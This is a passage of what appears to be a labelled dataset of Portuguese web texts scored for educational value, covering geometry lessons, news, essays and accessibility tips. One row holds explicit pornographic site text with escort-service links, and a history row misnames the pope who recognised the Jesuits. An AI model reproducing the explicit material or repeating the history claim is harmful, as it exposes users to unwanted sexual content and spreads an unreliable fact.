aproximadamente 3,14 e r é o raio do círculo? + +A geometria não é apenas um monte de fórmulas e regras. É uma forma de ver o mundo de uma maneira mais organizada e lógica. Ao estudar geometria, você desenvolve habilidades importantes como a visualização espacial, o raciocínio dedutivo e a resolução de problemas. Então, da próxima vez que você olhar para um objeto, tente identificar as formas geométricas que o compõem e pense em como a geometria está presente em sua vida. Que tal começar a procurar formas geométricas na sua casa, na rua, na escola? Você vai se surpreender com a quantidade de coisas que você pode descobrir! E aí, preparado para essa aventura matemática?",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta uma introdução acessível e relevante à geometria, explicando sua importância e aplicações no cotidiano. Introduz conceitos básicos como formas planas e espaciais, além de propriedades geométricas e fórmulas simples (área do círculo, soma dos ângulos de um triângulo). O texto é claro, incentivador e adequado para o ensino fundamental, promovendo a visualização espacial e o raciocínio lógico. Aborda o tema de forma simples, progressiva e interessante, fomentando a curiosidade e a exploração do mundo ao redor.",5,1.0 +"Muito provavelmente você já ouviu falar sobre o Pão de Açúcar Mais, o programa de relacionamento gratuito do Pão. No entanto, que tal conferir todas as vantagens exclusivas que pode ter ao fazer o cadastro para se tornar Cliente Mais? +O que é o programa? +Ser Cliente Mais é sinônimo de sempre sair ganhando. Afinal, ao se cadastrar no Pão de Açúcar Mais, é possível desfrutar benefícios exclusivos e gratuitos em todas as compras. +Vale lembrar que, para aproveitar tudo o que o programa oferece, é só informar o CPF cadastrado durante os pedidos (sem valor mínimo) feitos on-line, no app ou site, e nas lojas físicas. +Quais são as vantagens do programa? +Com o app Pão de Açúcar Mais, benefícios exclusivos são oferecidos a quem é cadastrado no programa, como descontos exclusivos, ofertas personificadas, pontos que valem prêmios, caixa express e lista de compras personalizada. +Descontos Exclusivos +Nas lojas do Pão, e também no app e site, todos os descontos são exclusivos para quem é Cliente Mais. Para aproveitá-lo, basta fazer a identificação com o CPF cadastrado. +Meu Desconto +O Meu Desconto oferece ofertas personalizadas, que mudam toda semana, baseadas nos produtos dos quais o cliente gosta ou tem o hábito de comprar. Elas aparecem como sugestões no app e precisam ser ativadas antes de passar pelo caixa da loja ou fazer a compra no site ou app. +Meus Prêmios +Aqui, os pedidos se tornam estrelas que valem prêmios grátis todos os meses. Ao atingir desafios que são personalizados de acordo com o histórico de compras de cada cliente, prêmios podem ser resgatados em nossas lojas ou de parceiros. +Caixa Express +Fazer o pagamento das compras pode ser uma experiência mais rápida do que o comum, já que Cliente Mais tem a opção de agendar o horário que vai passar pelo caixa na loja em que está. Ou seja, sem filas e com praticidade e eficiência! +Lista de compras +É possível organizar as compras e não se esquecer de nada. Afinal, além de poder criar listas variadas e personalizadas com os produtos desejados para cada pedido, há a inclusão automática das ofertas ativadas. +– +Você já faz parte do programa Pão de Açúcar Mais? Sabia de todos esses benefícios exclusivos que Cliente Mais pode aproveitar? Confira também nosso post sobre como usar o app! +Tags +pão de açúcar pão de açúcar mais fazer compras aniversario pao de acucar app inovação +Você pode gostar também +3 anos atrás +InovaçãoEspeciais +Meus Prêmios: suas compras valem prêmios no Pão de Açúcar! +Leia Mais +Meus Prêmios: suas compras valem prêmios no Pão de Açúcar! +3 anos atrás +Especiais +Especial Carne Suína +Leia Mais +Especial Carne Suína +Comentários +setembro 25, 2020 +Responder +Solange Duque +Sou cliente Mais e aproveito sempre as ofertas do meu Desconto. Elas valem a pena !!! 😉 +setembro 28, 2020 +Responder +Pão de Açúcar +Obrigada pela mensagem, Solange! Ficamos felizes em saber 🙂 +novembro 8, 2020 +Responder +Valmira Honoriio dos Santos +Quero ser.clinte mais +novembro 9, 2020 +Responder +Pão de Açúcar +Oi, Valmira! tudo bem? Basta fazer seu cadastro e aproveitar todas as vantagens do nosso programa 🙂 +Enviar um comentário +Cancelar resposta +Mensagem* +Nome* +E-mail* +Website +Curta o nosso Facebook: +Posts Populares +Semana +Mês +Geral +4 receitas com Aperol que você precisa provar! +3133 Visualizações +Alimentos ricos em potássio: descubra quais são +2606 Visualizações +Alimentos ricos em zinco: saiba quais são eles +2020 Visualizações +Quais são os produtos que não podem faltar na cesta de Natal? +1919 Visualizações +12 sugestões de frutas low carb +1542 Visualizações +18 sugestões de petiscos para vinho +1203 Visualizações +Dia da Sobrecarga da Terra: o que é e porque se importar +19 de fevereiro de 2021 +4 receitas com sobras de Panetone +25 de dezembro de 2020 +[Receita Cheftime] Gingerbread +25 de dezembro de 2020 +Caras do Brasil: Brasilidade, sabor e negócios sustentáveis +24 de dezembro de 2020 +[Receita] Hambúrguer do Chef +18 de dezembro de 2020 +Receitas para uma Ceia de Natal sem proteína animal +17 de dezembro de 2020 +Nossos cana...",original,original,original,original,1,0.2 +"– até 2 anos de idade: jejum de 3 horas +– menores de 3 anos: ingerir uma mamadeira de água ou chá ou dois copos de água 30 minutos antes do exame; +– de 3 a 10 anos: beber de três a quatro copos de água 1 hora antes do exame; +– acima de 10 anos: beber quatro copos de água 1 hora antes do exame. +– adulto: beber quatro copos de água 1 hora antes do exame. +– chegar com antecedência de 30 minutos",original,original,original,original,1,0.2 +"Serra – A cooperação técnica entre CONASS, Conasems e Fiocruz foi apresentada hoje (3), no XXX Congresso Nacional de Secretarias Municipais de Saúde, em Serra/ES. +O vice-presidente da Fiocruz, Valcler Fernandes, a gerente de núcleos e secretária executiva do CONASS em exercício, Rita Cataneli, falaram sobre o papel das instituições e a importância da parceria entre elas. +O objetivo da cooperação é construir uma Rede de Apoio à Gestão Estratégica do SUS, visando o estabelecimento de interações e parcerias horizontais e verticais de cooperação técnica entre Entes Federados, com foco no processo de organização da ação/atuação regionalizada do SUS. +Rita Cataneli destacou a importância da cooperação. “É extremamente importante juntar esses atores para criarmos ferramentas que possibilitem a disseminação dessas informações. E as oficinas que realizamos são fundamentais porque são nelas que ouvimos os gestores que estão na ponta”, disse. +Segundo ela, é a partir das informações passadas por esses profissionais durante as oficinas, que a cooperação CONASS, Conasems e Fiocruz encontra a necessidade de novos estudos. “Com os resultados dessas pesquisas, conseguimos aportar conhecimento para os gestores”, concluiu. +Assim como Cataneli, o vice-presidente da Fiocruz, Valcler Fernandes, também enalteceu a cooperação. “É fundamental que as instituições de gestão estejam em permanente articulação com as instituições de ensino e pesquisa para que possamos encontrar soluções para os problemas da saúde”. +Entre as principais estratégias utilizadas pelas entidades estão dar visibilidade a novas realidades políticas, sociais e sanitárias; promover o intercâmbio permanente de experiências no âmbito do SUS e gerar metodologias para acompanhamento e análise da política setorial.",original,original,original,original,3,0.6 +"Cartas e cadernetas: exercícios da escrita +Cláudia Sampaio +""que possa a morte me apanhar pensando, escrevendo, lendo"" +Epicteto +Os bons músicos sabem que é no exercício diário com o instrumento que surge a possibilidade de produzir música de qualidade. Assim como os artistas plásticos na lida cotidiana com seus traços, texturas, cores e formas, fotógrafos em vigília por aguçar olhares e novos ângulos, e professores, que a cada nova aula afinam seu ofício, os escritores têm em seus diários, cadernetas e correspondências o lugar onde questionam, aprimoram e cultivam a produção de suas obras. Portanto, com exceção da 'sorte de principiante', é na constância do exercício que encontramos o caminho para a conquista do êxito na atividade profissional. +No caso da escrita, a prática não é exclusividade dos profissionais das letras, como mostra Michel Foucault em ""A escrita de si"" (1983) ao defender que a palavra escrita interessa a todos que desejam ""cuidar da alma"", ""atenuar os perigos da solidão"", ""construir a memória material de coisas lidas, ouvidas e pensadas""; enfim, exercitar o pensamento a partir do sentido e encontrar-se face a face consigo e com o outro. +Voltado para o estudo sobre ""as artes de si mesmo"", ou seja, ""a estética da existência e o domínio de si e dos outros na cultura greco-romana, nos dois primeiros séculos do império"", Foucault observou a relação que os antigos como Plutarco, Sêneca e Epicteto mantinham com o exercício da escrita, analisando duas expressões frequentes entre esses pensadores: a correspondência (""a carta é ao mesmo tempo um olhar que se lança sobre o destinatário e uma maneira de se oferecer ao seu olhar através do que lhe é dito sobre si mesmo"") e o hupomnêmata (espécie de caderneta onde se anotava uma coletânea de coisas lidas e ouvidas). A caderneta dos antigos é citada por Foucault como meio de enganar a solidão, já que ""o fato de se obrigar a escrever desempenha o papel de um companheiro"" e a carta é o meio pelo qual o olhar do outro elabora nossa alma. +É fato que cadernetas e correspondências não são práticas tão comuns hoje em dia quanto foram no passado, quando o ""escrever para si e para o outro desempenhava um papel considerável na sociedade"". Mas se tivermos em conta a marcha dos astros e o inevitável devir de tudo que nos cerca e constitui, veremos que a palavra escrita segue promovendo encontros íntimos e interpessoais, sobretudo pela internet. Afinal, temos na rede textos capazes de nos afetar profundamente, além dos sites de relacionamento, e-mails de trabalho, amizade, amor e a experiência dos blogs, tão próxima da escrita íntima dos diários. +Foucault lembra dois dos princípios frequentemente evocados por Sêneca: ""o de que é necessário adestrar-se durante toda a vida e o de que sempre se precisa da ajuda do outro na elaboração da alma sobre si mesma"". Sêneca, que insistia na leitura como pratica de si, defendeu ainda a escrita como elemento que transforma a coisa vista ou ouvida ""em forças e em sangue"". +Por essa vereda seguem os poetas, e é lugar comum pensarmos em como eles se apoderam dos dissabores e da solidão como requisitos indispensáveis para a produção de suas obras. Até mesmo porque muitos deles contribuíram para perpetuar a ideia de que era preciso afastar-se do mundo para dar conta das exigências de qualidade que impunham às suas obras. Por esse caminho de abandono e solidão seguiram alguns de nossos poetas recentes que tinham particular interesse na escrita de cartas e diários – Ana Cristina César, Torquato Neto – e que acabaram por dar fim à própria vida. Não que esta seja uma condenação aos suicidas, afinal, cada um é dono de sua vida e faz com ela o que melhor lhe aprouver, mas não há dúvidas de que a solidão radical, pela qual optaram muitos dos escritores em diferentes épocas, é assunto de interesse para quem pensa sobre o ofício do escritor. +Uma das cartas que Fernando Pessoa escreveu ao amigo, também poeta, Armando Côrtes-Rodrigues é motivada justamente por uma ""c...",original,original,original,original,5,1.0 +"Compre Bordados De Linho Online +Bordados De Linho +Veja Todos 5000 Produtos em Bordados De Linho +Você não pode perder Bordados De Linho ,nesta página onde você pode encontrar a mais recente novidade de moda. Além do mais, o preço que você vê é coisa muito incrível. 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A estudante de cinema também sonha em se tornar atriz e admira a francesa Jane Birkin. +Quando descobre que sua mãe (Kim Ja-ok) está se mudando para o Canadá e que seus colegas de faculdade estão falando mal dela por conta do relacionamento que teve com um professor casado (Lee Sun-kyun), Haewon se enche de dilemas existenciais. +A Filha de Ninguém (Divulgação) +A mãe de Haewon vai para o Canadá e ela fica sozinha em Seul (Divulgação)",original,original,original,original,2,0.4 +"Jornal de Angola - Notícias - Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas +Jornal dos Desportos +Economia & Finanças +JAIMAGENS +Luanda 26,1˚ +Minhas Assinaturas +Assinar o JA +Publicidade +Criar Registo +Newsletters +Ficha Técnica +Termos e Condições +Secções +Política +Sociedade +Mundo +Regiões +Economia +Cultura +Desporto +Entrevista +Reportagem +Opinião +Gente +Dossier +Fim de Semana +Especial +ASSINE O JA +POLÍTICA REGIÕES SOCIEDADE ECONOMIA CULTURA DESPORTO ENTREVISTA REPORTAGEM OPINIÃO MUNDO ASSINATURAS +Home +Notícias +Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas +Regiões +05/12/2022 Última atualização 17H47 +Regiões +Vandalização do Aeroporto do Moxico preocupa autoridades +0 +A Sociedade Gestora de Aeroportos (SGA) está preocupada com os recorrentes actos de vandalização que têm se registado, no Aeroporto Aeroporto Comandante Dangereux, na cidade do Luena. +05/12/2022 Última atualização 13H57 +Regiões +Mau estado da Estrada Nacional 160 condiciona mobilidade de professores +0 +As péssimas condições na Estrada Nacional 160- A, que liga a cidade de Malanje ao município de Marimba estão a condicionar a mobilidade de professores e enfermeiros daquela localidade. +Regiões +Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas +Estácio Camassete | Huambo +Jornalista +A Escola do Ensino Especial do Huambo tem todas as condições preparadas, para o arranque do ano lectivo 2022/23, garantiu, ontem, a directora da instituição. +03/09/2022 Última atualização 11H48 +Direcção da escola defende a adaptação arquitectónica da instituição para acolher mais alunos com necessidades especiais © Fotografia por: Estácio Camassete ||Edições Novembro | Huambo +Mariana Vassole Alicerces disse que foram matriculados 565 alunos, dos quais 40 entram pela primeira vez. ""Há muita procura de vagas, por parte dos alunos e encarregados de educação”, esclareceu. +A escola tem 42 professores e as aulas são leccionadas em dois períodos, nas áreas de deficiências visual, auditiva, intelectual e fala. O número de docentes, lamentou, ainda é insuficiente, ""tendo em conta o número de alunos, que tende a aumentar”. +A instituição, contou, tem oito salas de aula, uma delas para o atendimento especializado de alunos com necessidades especiais. ""Nos últimos anos, a escola passou a ter muitos alunos. A procura é maior, por ser a única instituição especializada na província. Por isso, é necessário aumentar o número de salas e docentes”, justificou, além de explicar que o acesso ao Ensino Especial é gratuito e sem limitações de idade. +""Muitos alunos são matriculados na iniciação com dez ou mais anos. Nesta instituição é proibido negar matricular qualquer aluno que precise de ensino especial. As turmas enchem a cada ano”, disse. +Adaptação +Para a directora da escola, é fundamental que seja feita uma adaptação da arquitectura da Escola Especial do Huambo, de forma a poder acolher os alunos com necessidades especiais, em especial os invisuais, com muitas barreiras em termos de movimentação. +Além do reduzido número de professores, outro problema da instituição é a falta de material didáctico adaptado. ""Um dos materiais essenciais aos portadores de deficiência visual são as máquinas de Braille. No momento a escola só tem cinco a funcionar. As outras 20 estão avariadas”, adiantou, acrescentando que estes aparelhos são decisivos no processo de ensino e aprendizagem. ""Não é só as máquinas. Também precisamos de livros em Braille, para todas as classes”. +Os outros alunos, como os com deficiência auditiva, têm utilizado a linguagem gestual, mas numa versão adaptada para o país. ""Alguns alunos têm problemas para aprender, mas temos usado a repetição como forma de ensino. Outra forma de os ensinar são os exercícios práticos, porém é necessário que hajam meios de ensino suficientes”, contou. +Acrescentou que alguns meios têm sido fornecidos pela Fundação Lwini e o Instituto Nacional da Educação do Ensino Especial. +Comentários +Seja o primeiro a com...",original,original,original,original,3,0.6 +"Virou moda. O termo desenvolvimento sustentável está em tudo que é lugar. Nos relatórios das empresas, no discurso dos ambientalistas, nas teses científicas. É o novo paradigma para uma infinidade de discussões econômicas, políticas, ambientalistas e sociológicas. Mas afinal, o que é isso? +Uma das definições mais usadas para desenvolvimento sustentável éo desenvolvimento capaz de suprir as necessidades atuais da população, sem comprometer a capacidade de atender as necessidades das futuras gerações. Ou seja, a idéia é crescer sem destruir o ambiente e esgotar os recursos naturais. +Essa definição, no entanto, é considerada limitada por alguns cientistas já que não aborda outros aspectos como o político e o social. Para entender melhor o que é desenvolvimento sustentável é necessário conhecer um pouco da história de como foi entendido o desenvolvimento anteriormente, como surgiu o termo, as formas como ele pode ser medido e as teorias que ajudaram a criar a expressão. Vamos lá.",original,original,original,original,3,0.6 +"A floresta Amazônica representa um terço das florestas tropicais do mundo, desempenhando papel imprescindível na manutenção de serviços ecológicos, tais como, garantir a qualidade do solo, dos estoques de água doce e proteger a biodiversidade. Processos como a evaporação e a transpiração de florestas também ajudam a manter o equilíbrio climático fundamental para outras atividades econômicas, como a agricultura. +A região Amazônica tem um papel preponderante no uso múltiplo dos recursos hídricos (água potável, navegabilidade, aproveitamento energético, pesca, lazer, etc). A região Amazônica concentra 20% da água doce do planeta. A manutenção de florestas nas margens de rios evita erosões, assoreamentos e garante alimento para vários organismos aquáticos. +Cinco milhões de pessoas (entre populações tradicionais e familiares) no Brasil vivem na ou da floresta. Na Amazônia, a extração de produtos não-madeireiros (óleos, resinas, ervas, frutos e borracha) contribui economicamente para a vida de 400 mil famílias de extrativistas. Os recursos florestais, desde que racionalmente utilizados, trazem benefícios econômicos às populações locais, fixam o homem no campo e melhoram sua qualidade de vida. +As belezas naturais e a variedade cultural dos povos da Amazônia podem ser convertidas em benefícios econômicos através do ecoturismo ou do etnoturismo, gerando empregos diretos e indiretos. Segundo a Organização Mundial de Turismo, o ecoturismo cresce 20% ao ano em relação aos 7,5% do turismo convencional. No Brasil, embora essa atividade ainda esteja se desenvolvendo, meio milhão de pessoas praticam ecoturismo, gerando 30.000 empregos diretos, movimentando cerca de 500 milhões de reais por ano. Na Amazônia, surpreendentemente, esta atividade ainda é incipiente e pouco explorada. +Incêndios causam US$ 5 bilhões em prejuízo (2009. REVISTA DA MAEIRA, Ed.69. Disponível em: http://www.remade.com.br/br/revistadamadeira_materia.php?num=293&subject=Queimadas&title=Inc%EAndios%20causam%20US$%205%20bilh%F5es%",original,original,original,original,4,0.8 +"Aulas de html para Cegos - Dicas - Acessibilidade. +Páginas da WEB Acessíveis a Cegos. +Meu objetivo nesse evento, como usuário da internet, desenvolvedor de páginas da web e deficiente visual, é o de fazer um depoimento a respeito de ""Portadores de Deficiência e Acessibilidade nas Páginas da Web"". +Serei mais específico com relação a minha deficiência devido à óbvia razão de ser meu campo de experiência, mas tenho consciência, por estudos de acessibilidade e troca de informações com pessoas de outras deficiências, das dificuldades e barreiras muitas vezes encontradas por outros ao acesso as páginas da internet. +Para as pessoas entenderem melhor como deficientes visuais podem operar computadores, algumas coisas básicas têm de ser conhecidas: +- não nos utilizamos de mouses paraa fazer executar as tarefas dos vários aplicativos, pois eles exigem coordenação visual (mira), sendo o teclado nossa solução facilitadora. Teclados em Braille? Não, sei até da existência de teclados em Braille, mas podemos utilizar da forma mais objetiva e tranquila qualquer teclado comum de micro-computadores. Devido a uma norma internacional de datilografia, a maioria dos teclados possuem em sua parte inferior, nas letras J e F, um alto relêvo com a forma de um ponto. Assim, com os indicadores nessas letras temos domínio do teclado básico. Sei, por exemplo, que se for para baixo com o dedo indicador direito encontrarei o M, com o mínimo esquerdo para cima encontrarei o Q etc. Quando nos deparamos com os poucos teclados em que não existem esse relevo nas mencionadas teclas, basta colocarmos um durex ou esparadrapo para torná-los acessíveis. +- As >teclas de atalho, comuns na maioria dos aplicativos é outra solução. Se você nesse momento quiser testar uma tecla de atalho e estiver com o Internet Explorer, pressione alt + ""a"" e perceberá que irá diretamente para o menu Arquivos, se for com a seta para baixo poderá percorrer a lista de opções desse menu e, se por acaso quiser acionar alguma delas, bastará teclar enter na opção desejada que servirá como um clique do mouse. As setas para direita e esquerda percorrem os demais menus do aplicativo e ainda, se quiser finalizar, basta pressionar esc para sair do menu. Nas páginas da internet, nossa forma de navegar é utilizando principalmente a tecla tab. Essa tecla faz com que possamos percorrer a página indo de link em link de cima para baixo e shift mais tab faz o mesmo só que de baixo para cima. Para entrar em um link é só dar enter e para voltar a página anterior bastar teclarmos alt mais seta para a esquerda; alt mais f4 faz sairmos do Internet Explorer e por aí em diante... Essas teclas de atalho e inúmeras outras, são comuns aos navegadores e qualquer pessoa pode utilizá-las na falta de um mouse ou simplesmente para teste. Dessa maneira vamos ""passeando"" por aí, realizando tarefas e muitas coisas antes impossíveis. +- O acesso de uma pessoa, portadora de defficiência visual acentuada ou total, às páginas da internet, são proporcionadas por softwares conhecidos como ""ledores de tela"" (screanreaders) associados a outros denominados de sintetizadores de voz. Esses softwares lêem as telas para nós. Começaram a surgir no Brasil para micro computadores desde 1994, evoluindo técnicamente até os dias de hoje, com o objetivo de aumentar cada vez mais o acesso fácil e sem transtornos por nós, as várias opções de navegação nos sistemas e seus aplicativos, como também, mais específicamente, nas páginas da internet. +Hoje podemos não só navegar por essas páginas como produzí-las por conta própria, participar de chats, ler jornais e revistas, fazer compras, fazer cursos on line, ter acesso a manuais, informação em geral, a prestadoras de serviços, enfim, quase tudo que a WEB pode oferecer aos seus usuários. Acessibilidade. +Nossos limites e facilidades de acesso a tudo isso por nossos programas de fala, são conhecidos por uma designação que pode servir a quase tudo que se refira a obstáculos e facilidades, virtuais ou não: n...",original,original,original,original,3,0.6 +"Já parou para pensar que a matemática está em todo lugar? E quando falamos em formas geométricas, essa percepção fica ainda mais clara! Do prédio onde você mora à tela do seu celular, as formas geométricas são os blocos de construção do mundo que nos cerca. Mas, afinal, o que são essas formas e por que elas são tão importantes? + +Vamos começar pelo básico. Imagine um ponto. Agora, imagine que esse ponto começa a se mover, deixando um rastro. Esse rastro é uma linha. Se essa linha se encontrar, fechando um espaço, temos uma figura plana, como um triângulo, um quadrado ou um círculo. Cada uma dessas figuras tem suas próprias características e propriedades, que as tornam únicas e úteis em diferentes situações. + +O triângulo, por exemplo, é uma figura muito forte e estável. Por isso, é usado em pontes e telhados para dar sustentação. Já o círculo, com sua forma perfeita e sem cantos, é ideal para rodas e engrenagens, permitindo que as coisas girem suavemente. E o quadrado, com seus quatro lados iguais e ângulos retos, é perfeito para construir casas e edifícios, pois facilita o alinhamento e a organização do espaço. + +Mas as formas geométricas não estão apenas nas coisas que construímos. Elas também estão na natureza! Observe as colmeias das abelhas, formadas por hexágonos perfeitos. Ou os flocos de neve, cada um com sua própria forma única e complexa. A natureza usa as formas geométricas de maneira eficiente e elegante, mostrando que a matemática é uma linguagem universal. + +Agora, vamos dar um passo além. Além das figuras planas, temos os sólidos geométricos, que são figuras tridimensionais, ou seja, têm altura, largura e profundidade. Pense em uma caixa de sapatos, que é um paralelepípedo, ou em uma bola de futebol, que se parece com uma esfera. Os sólidos geométricos estão presentes em tudo o que ocupa espaço, desde os móveis da sua casa até os planetas no céu. + +A geometria não é apenas um monte de fórmulas e definições chatas. É uma ferramenta poderosa para entender o mundo e resolver problemas. Com ela, podemos calcular áreas, volumes, distâncias e ângulos, o que é útil em diversas áreas, como arquitetura, engenharia, design e até mesmo na arte. Então, da próxima vez que você olhar ao seu redor, tente identificar as formas geométricas presentes em tudo o que você vê. Você vai se surpreender com a quantidade de matemática que existe no mundo real! + +Que tal um desafio? Olhe para o seu quarto e tente identificar pelo menos cinco objetos que tenham formas geométricas diferentes. Quais são eles? Como essas formas influenciam a função desses objetos? Explorar o mundo através da geometria é uma aventura fascinante e cheia de descobertas!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, introduzindo o conceito de formas geométricas de maneira acessível e interessante para crianças e jovens. Ele conecta a matemática ao mundo real, mencionando exemplos práticos e aplicações em diversas áreas. O estilo de escrita é claro e envolvente, incentivando a observação e a exploração do ambiente. A inclusão de um desafio ao final estimula o aprendizado ativo. No entanto, o texto poderia se aprofundar em conceitos mais complexos, limitando um pouco o uso nos anos finais do ensino fundamental.",5,1.0 +"Começou a corrida para a 28ª edição do Prêmio Master Imobiliário – uma iniciativa da Fiabci-Brasil (Federação Internacional Imobiliária) e do Secovi-SP (Sindicato da Habitação), que conta com o apoio do Sincomavi. As inscrições dos interessados podem ser realizadas até o dia 04 de março e os trabalhos devem ser entregues até 01 de abril. A cerimônia de premiação está marcada para 24 de agosto de 2022. +A premiação tem como objetivo destacar e premiar os profissionais e os cases de sucesso do setor imobiliário em duas categorias: empreendimento e profissional. Além disso, os contemplados na categoria empreendimento podem concorrer ao Prix d’Excellence, entregue anualmente sempre em cerimônia realizada durante o Congresso Mundial da Fiabci.",original,original,original,original,1,0.2 +"Instituto Paranaense de Cegos - IPC: Visita ao Espaço Caixa Cultural - Tema: Esporte Movimento +Os alunos da Escola Prof. Osny Macedo Saldanha , visitaram o espaço e puderam conhecer um pouco da História do Esporte, bem como ídolos que marcaram nossa memória com seus feitos no esporte do nosso país. A exposição contou com um pedaço de uma linda e valiosa coleção, uma seleção de itens da coleção de mais de 70 mil artefatos esportivos pertencentes a Roberto Gesta de Melo, presidente da Confederação Sul-Americana de Atletismo (CONSUDATLE) e da Associação Ibero-Americana de Atletismo (AIA). +Marcadores: AIA, Associação Ibero-Americana de Atletismo, confederação sul-americana de atletismo, Consudatle, Escola Professor Osny Macedo Saldanha, história do esporte, IPC, novo ipc",original,original,original,original,2,0.4 +"perfume-para-roupa-de-cama-e-banho-flor-de-laranjeira - Boutique de Aromas +perfume-para-roupa-de-cama-e-banho-flor-de-laranjeira",original,original,original,original,0,0.0 +"Coroa vídeo com safada tarada fode com três pro chifrudão filmar Confira neste vídeo pornô hd – Coroa vídeo com safada tarada fode... +Esposa gata boazuda rebolando com o caralho gostosão no cú +12/09/2021 +Esposa gata boazuda rebolando com o caralho gostosão no cú Vídeo de sexo filme amador com a minha Esposa gata boazuda rebolando com o caralho... +Comendo o cu da Coroa Gostosa foda caseira +07/09/2021 +Comendo o cu da Coroa Gostosa foda caseira Rapaz dotado safado fez sexo sexo xvideos caseiro Comendo o cu da Coroa Gostosa foda caseira com essa... +Comendo a amadora tesuda putinha gostosa de quatro +10/08/2021 +Comendo a amadora tesuda putinha gostosa de quatro Marido fazendo sexo video amador Comendo a amadora tesuda putinha gostosa de quatro sua casadinha... +Coroa safada tarada fode com três pro corno filmar +10/09/2018 +Coroa safada tarada fode com três pro corno filmar Confira neste vídeo pornô - Coroa safada tarada fode com três pro corno filmar muito puta... +Esposa gostosa rebolando com o pau no cú +24/07/2018 +Esposa gostosa rebolando com o pau no cú Vídeo de sexo amador com a minha Esposa gostosa rebolando com o pau no cú ela adora fazer sexo anal... +Comendo a amadora gostosa de quatro +09/07/2018 +Comendo a amadora gostosa de quatro Marido fazendo sexo amador Comendo a amadora gostosa de quatro sua esposa adora ficar De quatro pra sentir o... +Comendo o cu da Coroa Gostosa foda amadora +06/07/2018 +Comendo o cu da Coroa Gostosa foda amadora Rapaz dotado fez sexo amador Comendo o cu da Coroa Gostosa foda amadora com essa safada que adora uma... +Parceiros +Links Adulto +xxx videos +Fílmes Porno +Blog corno +onlyfans telegram +Coroas Maduras +Xvideos Coroas +Sexo Coroas +porno hd +site adulto +potent-portugal.eu +www.potenz-portugal.eu +Filme Pornor +amadora safada +safada +Transex Porto Alegre +Transex em Porto Alegre +Transex POA +Acompanhantes Rio grande do sul +Acompanhantes de Luxo Porto Alegre +Porno Caseiro +Xvideos Gay +Xvideos Sexo +Porno 18 +safadas tube +Xvideos Foda +Porno +Xvideos XXX +Gostosas Tube +Xvideos BR +Filmes Porno +xvideos 10 +Pornozao +Xvideos Morena +Videos de Sexo +porno gratis +filme porno +Xvideos Foda +sexo proibido +Xvideo 10 +Xvideo +Xvideos +Agrupa Links +Links Porno +Xvídeos +Redtube +Grupo de putaria +Acompanhantes de luxo DF +Patricinha +Acompanhantes Joinville +Famosos Nus +Sexo Gay +So Novinho +Acompanhantes Minas gerais +Hentai +Xvideos Brasil +Gostosas Pornô safadas - o seu portal com vídeos pornô de qualidade , sexo amador com safadas e gostosas do Xvideos para você assistir pornô hd . +Encontre em nosso site vídeos com rabuda gostosa tomando rola na buceta se acabando em uma boa foda amadora , pornô caseiro com casada safadinha delirando na piroca do seu amante . +Vídeos de sexo caseiro com novinha safada dando a buceta e cuzinho pro namorado foder gostoso ate gozar fodendo uma putinha tarada por sexo gostoso . +Se você gosta de uma putaria você esta no lugar certo para se deliciar na hora da bronha , curtindo uma foda amadora , com uma safada da bunda deliciosa sentando no caralho gemendo gostoso enquanto faz um sexo caseiro no Xvideos amador. +Venha assistir aos vídeos caseiros mais safadinhos da internet muito sexo anal e ninfetas taradas que amam cair de boca na piroca e pagar um boquete bem gostoso se deliciando enquanto devora um pau grosso ficando de boca cheia na hora do bola gato . +Pornô safadas com gostosas rebolando gostoso de quatro na cama dando a xoxota molhada , cheias de tesão estas gatas safadas metem gostoso e transam gostoso nos melhores vídeos de sexo amador . +Você encontra aqui no site Gostosas Pornô Safadas , aproveite para conhecer todas nossas categorias e claro compartilhar !! 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Em 1731, o sítio tinha aproximadamente 6.400 indígenas, fazendo desta uma das maiores reduções dos Sete Povos.[1] +Os jesuítas reorientaram o trabalho indígena, tornando-o mão de obra especializada. A economia missionária se caracterizava pela autossuficiência e pela produção de excedente. Dessa forma, o processo civilizatório imposto pelos jesuítas foi facilitado.[3] As comunidades dos Sete Povos tornaram-se pioneiras e com um modelo único de organização social, que se baseava em uma estrutura cooperativa, com a interligação de uma rede de estradas e portos fluviais.[6] +Companhia de Jesus[editar _ editar código-fonte] +A Companhia de Jesus foi fundada em agosto de 1534, por Santo Inácio de Loyola e outros estudantes da Universidade de Paris,[7] com o objetivo de prestar serviços à Igreja Católica. A Companhia, em 1540, foi legitimada enquanto nova Ordem católica pelo papa Paulo II. Desde então, os jesuítas se tornaram responsáveis pela fundação de colégios e universidades, além por liderarem e se associarem a projetos que visavam a catequização ao redor do mundo ainda não-cristão. Esse processo ocorreu por meio da expansão marítima europeia, principalmente portuguesa e espanhola.[8] +A Companhia teve a principal finalidade de combater o movimento protestante, e por isso foi criada em pleno período de Contrarreforma.[7] A prioridade era a atividade missionária e a educação religiosa, que inclusive, no caso das missões no sul da América, contou com uma articulação complexa, unindo esforços políticos, institucionais e logísticos.[8] A Companhia de Jesus teve influência até mesmo nas Índias e Extremo Oriente. Atualmente, é constituída por mais de 24.000 membros em 120 países.[7] +Na América portuguesa, as atividades jesuíticas iniciaram no ano de 1549 e ficaram conhecidas pelas famosas cartas trocadas entre os padres jesuítas Manoel da Nóbrega e José de Anchieta, desde meados do século XVI, que relatam o contato com os indígenas da colônia e suas tentativas de conversão do povo local para o cristianismo. As missões jesuíticas começaram muito tempo antes da fundação dos Trinta Povos das Missões, que faz parte da primeira fase missioneira (1626-1637), na região de Tape.[8] +Declínio dos Sete Povos das Missões[editar _ editar código-fonte] +Os Sete Povos das Missões teve suas reduções destruídas em 1756, em decorrência da Guerra Guaranítica. +A Guerra Guaranítica se refere aos diversos conflitos militares que aconteceram em 1754 e 1756, entre os guaranis e as tropas portuguesas e espanholas, após Portugal e Espanha assinarem o Tratado de Madri (1750). A Guerra ocorreu na região sudoeste do Brasil e é considerada o principal levante indígena brasileiro contra os colonizadores europeus até hoje. Uma de suas principais causas deveu-se às disputas territoriais entre Portugal e Espanha durante o período.[9] +O conflito resultou na morte de mais de 20 mil guaranis da região dos Sete Povos, as reduções foram destruídas e os jesuítas tiveram sua influência reduzida na região sul do Brasil.[9] +O aldeamento seguia um plano urbanístico determinado por lei, com poucas variações entre uma redução e outra. O padrão consistia em uma rua principal que dava acesso à Igreja, e esta era a principal construção da redução. Na praça ao centro, ocorriam os desfiles militares, encenações 